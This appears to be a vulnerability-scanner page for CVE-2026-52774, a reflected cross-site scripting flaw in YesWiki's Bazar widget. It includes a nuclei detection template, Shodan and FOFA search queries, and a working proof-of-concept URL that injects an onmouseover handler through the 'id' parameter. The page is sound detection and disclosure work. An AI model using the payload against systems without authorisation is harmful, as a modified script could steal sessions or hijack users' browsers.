YesWiki Bazar Widget - Reflected XSS via 'id' Parameter

mediumseverity

6.1CVSS score

0.7%likelihood of exploitation, next 30 days

52%of all CVEs are less likely

Readycheck to confirm it

YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only. strip_tags() does not escape double quotes, allowing an attacker to break out of the data-formid attribute and inject arbitrary event handlers.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers.

Fix

Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.

How to confirm it

Send: GET {{BaseURL}}/NoSuchPage/widget?id=%22%20onmouseover=%22alert(document.domain)%22%20x=%22
Positive when: contains "data-formid=\"\" onmouseover=\"alert(document.domain)\" x=\"\"" and "widgetapp" AND contains "yeswiki" or "YesWiki" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2026-52774 -u <target>

The full check

id: CVE-2026-52774

info:
  name: YesWiki Bazar Widget - Reflected XSS via 'id' Parameter
  author: 0x_Akoko
  severity: medium
  description: |
   YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only. strip_tags() does not escape double quotes, allowing an attacker to break out of the data-formid attribute and inject arbitrary event handlers.
  impact: |
   Attackers can execute arbitrary JavaScript in victims' browsers.
  remediation: |
   Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-r5xw-gcgw-hwp5
    - https://nvd.nist.gov/vuln/detail/CVE-2026-52774
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-52774
    epss-score: 0.00658
    epss-percentile: 0.51839
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: yeswiki
    product: yeswiki
    shodan-query: http.html:"YesWiki"
    fofa-query: body="YesWiki"
  tags: cve,cve2026,yeswiki,xss,reflected

http:
  - method: GET
    path:
      - "{{BaseURL}}/NoSuchPage/widget?id=%22%20onmouseover=%22alert(document.domain)%22%20x=%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'data-formid="" onmouseover="alert(document.domain)" x=""'
          - 'widgetapp'
        condition: and

      - type: word
        part: body
        words:
          - "yeswiki"
          - "YesWiki"
        condition: or

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from